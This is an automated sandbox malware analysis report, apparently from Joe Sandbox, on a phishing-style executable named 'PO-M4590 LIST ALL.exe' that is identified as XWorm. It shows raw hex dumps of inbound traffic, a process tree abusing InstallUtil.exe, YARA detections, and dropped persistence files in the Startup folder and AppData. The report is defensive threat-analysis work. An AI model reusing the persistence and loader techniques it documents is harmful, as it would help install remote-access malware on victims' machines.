Mar 10, 2025 18:02:08.702250004 CET	1236	IN	Data Raw: 31 fc 43 8c f6 5b dc 3a ab 50 be f2 08 2f fe f1 93 4b f2 05 ec 41 8a d7 4e 8c a8 f3 fa 39 fd ab b0 86 cb 39 79 78 0d 61 ad 27 dd fe ff a0 4e 45 61 12 df be c8 8b 4a 83 d8 04 9b 59 79 97 e5 6f 77 3b e0 6c 76 7d f8 dc dc 94 c2 67 1c d9 2f 06 9c 2b Data Ascii: 1C[:P/KAN99yxa'NEaJYyow;lv}g/+tD R1NGc'a-)m>)&8z(h~Z6}#6ojy<ssc6}o(%D>{H[P,:AAz-{Zy
Mar 10, 2025 18:02:08.702260971 CET	1236	IN	Data Raw: 5e a7 88 3e 30 b2 cc 74 99 a7 a1 19 55 c6 92 24 7c fa 97 3a e5 02 30 cb d5 46 4a 1f b8 2e f9 12 f1 76 22 5d 6c 87 f0 ca bb c4 ff f8 7f c3 98 9f aa 71 ad 3b a3 f5 fa 8b e6 b2 3a 95 c7 62 88 ed da ab f9 75 1c 9b 9d 52 3e 04 91 0e f1 28 a4 1a 5d d3 Data Ascii: ^>0tU$\|:0FJ.v"]lq;:buR>(]&-]"k3 JTZ3CzX#/on:Rrfw=<Fv]^\Wd>:BvUq=x"cXjff_>D }7/V6Evg}Qes)ySG
Mar 10, 2025 18:02:08.702272892 CET	1236	IN	Data Raw: 67 83 73 da 4c 67 12 0a 0e 55 70 92 ad e0 8a 51 31 51 1e f4 f2 fb 5f e7 fa fc 71 60 79 1d 50 5b 2e dc 22 cb 30 e8 6e dd 07 f5 9f 0d a5 76 92 46 9e 34 61 f1 32 15 36 c9 67 35 92 82 55 91 48 f2 47 70 a1 b3 3e 85 e8 fd 64 2a 5d 8d 40 42 4c 9c 58 a5 Data Ascii: gsLgUpQ1Q_q`yP[."0nvF4a26g5UHGp>d*]@BLXT.E{2w(h>V's[\ !QK!aKm-?K-),=R{h(y&fqpj4T(bzL=+k&K =LNV5hLitQ
Mar 10, 2025 18:02:08.702284098 CET	1236	IN	Data Raw: a9 17 1d cb 32 43 4b 05 2e c4 35 8a 56 56 37 de fd 58 18 4b aa 9c 44 b4 c5 b5 f9 a0 33 43 cd 03 d9 24 b3 1c 5b 5b 82 3e ae b4 92 d3 db 9a f5 83 ba 3f 28 a0 00 c8 43 9d 88 77 d0 50 49 20 e1 94 c9 60 23 e6 3b 84 1d f2 c8 18 22 4e 4b 9b 86 71 e0 c0 Data Ascii: 2CK.5VV7XKD3C$[[>?(CwPI `#;"NKqZA\|b;hrK+\|H[V@0ZpO+mXLcfgz9@#),$W1"Dz]4NIw:,0j"Jlj;!c O]e?->4'~c-Xp{B)
Mar 10, 2025 18:02:08.702295065 CET	1236	IN	Data Raw: 7e 8e bf 57 1d c3 6a b1 c8 7d ad 2f 53 40 9d cc 16 cb ed 83 16 a2 c5 eb 36 ca d6 cf 43 ea 6b 83 f0 ca 6c 4d ba 81 6c 46 a7 4c 9b ac 53 8b 74 71 3e f6 3a 51 c6 44 11 b4 a1 2c 83 e8 4a c9 12 29 14 19 5b 3d 61 63 4c 08 ac 71 15 3e 8d ab d8 f1 c8 4b Data Ascii: ~Wj}/S@6CklMlFLStq>:QD,J)[=acLq>KB >`?ebr/j 9B]B)@HHlx3yH#Z\|ThV0DO;_ATZV[uz\|*7s+&,gX#<^/Frb> $38U
Mar 10, 2025 18:02:08.702307940 CET	1236	IN	Data Raw: 2e 88 e3 2b 54 b1 d8 7a 51 5b 86 0b d1 d6 af cb 1e a1 9c 79 78 e7 9a 2e 6b 7e 0e e3 bb 0c 57 ce a7 41 75 09 2e 35 7a f3 09 d9 c5 9a e3 67 ee 21 aa ea ac b2 51 e3 c7 5d 91 ee cc 5d 7a e5 cb 50 1a b2 f2 9c 0a 9a 0d 4a 36 68 ca 2c cd 25 7a ee c5 e9 Data Ascii: .+TzQ[yx.k~WAu.5zg!Q]]zPJ6h,%z jMCp2;!xJAA0[(s,e4bJ'H;g[+$AftcKM\|V@FuA;6jk3%F!pi)[[S
Mar 10, 2025 18:02:08.702322960 CET	1236	IN	Data Raw: bf 9e 91 8c e9 25 28 be 0c 1c 22 de 66 42 5c 3f fd 12 bb f1 c9 b9 6c 7d aa 8b c8 9e 20 9e 21 6a 54 88 2c d6 02 f6 70 aa 24 6b a0 bb 31 03 41 b9 d3 a3 b8 5b c8 4c 42 31 64 09 40 a2 20 e6 2d 6c 97 ee 24 d4 0b 72 8e 46 bb 99 93 fb bf ad fe 3d f1 c2 Data Ascii: %("fB\?l} !jT,p$k1A[LB1d@ -l$rF=u@IsgR)V?bBMT8an`}"+\JV^01#~&#.W,L>2q+7]>r\7/~VD:[5}XY1A}!Z`:8ua
Mar 10, 2025 18:02:08.702336073 CET	1236	IN	Data Raw: 4c 22 b7 98 a3 7d 22 54 88 fe 68 c2 0b 0e 86 f9 a1 2d f8 e8 b3 1b 74 41 91 96 0b d5 6b f6 fd 97 3c 54 07 67 33 58 7b 05 34 2e f9 fe 72 9c a9 8e 63 23 cb aa 19 ec bb ea 5a bd 69 f4 f6 1b b4 7c 8f 3b 30 11 a7 38 f6 1d cf ff 50 07 3f 6b 75 61 fe 3e Data Ascii: L"}"Th-tAk<Tg3X{4.rc#Zi\|;08P?kua>:%stFuxnU5<lJ05"YohdhA+&9qOeECV<7K}5Wy.I.jYq9HKeb9lALf}6JW(CsHYNAv>B
Mar 10, 2025 18:02:08.702353001 CET	1236	IN	Data Raw: 4c 14 da e3 14 52 ad 1e c5 07 ef 3d 24 12 42 e7 bb 08 c4 45 1d 34 2a cb a3 ff 89 34 26 04 ca f2 78 52 76 62 5f 5d 2d 51 a8 fe 47 fe 50 9b 6a 37 05 bb 8d ea a7 68 1e 1d 45 df be 0e 86 fa d3 21 f9 ca d7 c8 04 26 eb 2b e9 2a d7 8e 19 f1 91 38 0e e0 Data Ascii: LR=$BE44&xRvb_]-QGPj7hE!&+8gs!?9,7x!FVu2]GT^)PF]u'Gq3mYcLzh!7lg2jGUEJvf5 \hQ2~5Jd
Mar 10, 2025 18:02:08.707413912 CET	1236	IN	Data Raw: 5a 4f 2b 7e 6d 35 64 b7 a7 27 bc 8a 3e d7 a1 53 44 19 40 c3 24 c5 92 cd 9e f0 57 d5 ce 78 60 87 2d 73 23 72 df e5 62 4b 2a 49 f9 11 3f 46 5e 9c df 0e 77 49 02 23 75 0b c3 28 34 f0 56 4f 12 af b5 6b 20 b5 27 2c 25 b1 4f 43 f7 09 13 bf d6 15 07 44 Data Ascii: ZO+~m5d'>SD@$Wx`-s#rbK*I?F^wI#u(4VOk ',%OCDS[hI{Xs{)wfV]QJ@DIDtbU,\3df^{/S3-l+G@'Er?g9!8~d5>`<z2aK

Target ID:	0
Start time:	13:02:07
Start date:	10/03/2025
Path:	C:\Users\user\Desktop\PO-M4590 LIST ALL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO-M4590 LIST ALL.exe"
Imagebase:	0x6d0000
File size:	15'360 bytes
MD5 hash:	985F3C04AB5DEC516B8AF607024D2BC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1487442486.0000000005ED0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1483123591.0000000003B78000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:02:20
Start date:	10/03/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xf20000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:02:25
Start date:	10/03/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8952 -s 900
Imagebase:	0xd50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO-M4590 LIST ALL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TwoDigitYearMax.vbs

C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe

C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Windows Analysis Report
PO-M4590 LIST ALL.exe